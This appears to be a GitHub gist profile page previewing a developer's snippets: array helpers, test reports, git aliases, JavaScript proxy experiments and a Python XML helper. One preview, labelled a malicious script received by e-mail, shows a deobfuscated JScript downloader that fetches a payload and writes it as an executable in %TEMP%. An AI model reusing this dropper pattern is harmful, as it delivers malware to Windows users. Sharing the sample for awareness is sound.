Skip to content

Instantly share code, notes, and snippets.

View pluma's full-sized avatar
👋
Looking for projects

Alan Plum pluma

👋
Looking for projects
View GitHub Profile
@pluma
pluma / arrutils.js
Created February 19, 2017 12:41
ES6 non-mutating array manipulation helpers
export const replace = (arr, index, value) => [
...arr.slice(0, index),
value,
...arr.slice(index + 1)
]
export const insert = (arr, index, value) => [
...arr.slice(0, index),
value,
...arr.slice(index)
<?xml version="1.0" encoding="UTF-8"?>
<testsuite name="/hello" timestamp="2016-11-23T15:32:04.685Z" tests="31" errors="0" failures="6" skip="1" time="66">
<testcase classname="global" name="is global" time="0"/>
<testcase classname="An error" name="is an error" time="0">
<failure type="Error" message="banana">
Error: banana
at Context.&lt;anonymous> (/home/pluma/projects/arango/_local/3.1.devel/arango-apps/_db/_system/hello/APP/test/queries.js:12:11)
at Function.global.DEFINE_MODULE.exports.nextTick [as immediately] (./js/common/bootstrap/modules/process.js:26:5)
</failure>
</testcase>
/*global assert*/
class CancellationError extends Error {}
CancellationError.prototype.name = 'CancellationError'
function deferred () {
let _resolve, _reject
const promise = new Promise((resolve, reject) => {
_resolve = resolve
_reject = reject
})
alias g='git status -sb'
alias ga='git add'
alias gac='git commit -S --amend'
alias gb='git branch'
alias gbb='git checkout -b'
alias gbm='git branch --merged'
alias gbn='git branch --no-merged'
alias gc='git commit -S -m'
alias gcp='git cherry-pick'
alias gco='git checkout'
@pluma
pluma / deobfuscated.js
Last active March 22, 2016 15:41
Malicious script I got in an e-mail
var shell = new ActiveXObject('WScript.Shell')
var xhr = new ActiveXObject('MSXML2.XMLHTTP')
var virus = shell.ExpandEnvironmentStrings('%TEMP%') + '/CBMQFs.exe'
xhr.onreadystatechange = function () {
if (xhr.readystate === 4) {
var stream = new ActiveXObject('ADODB.Stream')
stream.open()
stream.type = 1
stream.write(xhr.ResponseBody)
stream.position = 0
TAP version 13
# api: lintFiles
ok 1 no error while linting
ok 2 result is an object
ok 3 should be equal
# api: lintText
ok 4 no error while linting
ok 5 result is an object
ok 6 should have used single quotes
# Disabled Packages
@pluma
pluma / node-stability.md
Last active January 4, 2016 04:38
Node stability index badges using buckler.repl.ca
[![stability 0 - deprecated](http://b.repl.ca/v1/stability-0_--_deprecated-red.png)
](http://nodejs.org/api/documentation.html#documentation_stability_index)

stability 0 - deprecated

@pluma
pluma / delegating.js
Last active December 26, 2015 21:39
Slate-like object property delegation. With appologies to Sorella on FreeNode ##javascript.
require('harmony-reflect');
var uniq = require('uniq');
var arrp = Array.prototype;
function ext(obj) {
var sources = arrp.slice.call(arguments, 1);
sources.forEach(function(src) {
src && Object.keys(src).forEach(function(name) {
obj[name] = src[name];
});
@pluma
pluma / golem.js
Last active December 26, 2015 21:28
ES-harmony multiple inheritance.
require('harmony-reflect');
var uniq = require('uniq');
var arrp = Array.prototype;
function merge(obj, src) {
Object.keys(src).forEach(function(name) {
var value = src[name];
if (obj.hasOwnProperty(name)) {
merge(obj[name], value);
} else {
@pluma
pluma / xmldicts.py
Last active December 20, 2015 16:49
from lxml import etree
def node_from_dict(tag, data=None):
node = etree.Element(tag)
if isinstance(data, dict):
for key, value in data.items():
if isinstance(value, list):
for v in value:
node.append(node_from_dict(key, v))